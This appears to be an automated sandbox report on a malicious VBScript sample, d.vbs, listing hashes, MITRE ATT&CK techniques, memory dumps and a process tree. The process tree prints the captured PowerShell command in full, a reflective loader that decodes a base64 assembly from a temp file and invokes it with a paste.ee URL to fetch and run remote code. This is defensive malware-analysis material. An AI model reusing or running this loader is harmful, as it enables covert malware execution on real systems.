3da90ba538cd2589d4018e15b760db3c508d6ffbb7032e3a66789a4c9d09c7b2

Resubmissions

31-08-2022 12:55

19-08-2022 17:19

max time kernel
43s
max time network
46s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
19-08-2022 17:19

Target

d.vbs
Size

816KB
MD5

2af5abb6db76b3f1872d568880aced94
SHA1

1e47fb1ba30452f72db8f71fe8dde5a7ad5c1f2c
SHA256

3da90ba538cd2589d4018e15b760db3c508d6ffbb7032e3a66789a4c9d09c7b2
SHA512

ba2e899b365b637547301e2402f16f686badb3f182456dc9c552d1e25eb5a6ca6fa9d75cfe9e260f6ba0edba608daf7dee516cc58c659b8b4844388b330889d2

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1224	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1224	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1896 wrote to memory of 1224	1896	WScript.exe	27
PID 1896 wrote to memory of 1224	1896	WScript.exe	27
PID 1896 wrote to memory of 1224	1896	WScript.exe	27

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $fs = Get-Content -Path 'C:\Windows\Temp\dll4.txt';[Byte[]] $rOWg = [system.Convert]::FromBase64string( $fs );[Reflection.Assembly]::Load($rOWg).GetType('ClassLibrary2.Class1').GetMethod('execution').Invoke($null, [object[]] ('https://paste.ee/d/6g9rH/0'))
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1224

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1224-57-0x000007FEF4230000-0x000007FEF4C53000-memory.dmp

Filesize
10.1MB

Download
memory/1224-59-0x0000000002400000-0x0000000002480000-memory.dmp

Filesize
512KB

Download
memory/1224-58-0x000007FEF36D0000-0x000007FEF422D000-memory.dmp

Filesize
11.4MB

Download
memory/1224-60-0x000000001B790000-0x000000001BA8F000-memory.dmp

Filesize
3.0MB

Download
memory/1896-54-0x000007FEFBDB1000-0x000007FEFBDB3000-memory.dmp

Filesize
8KB

Download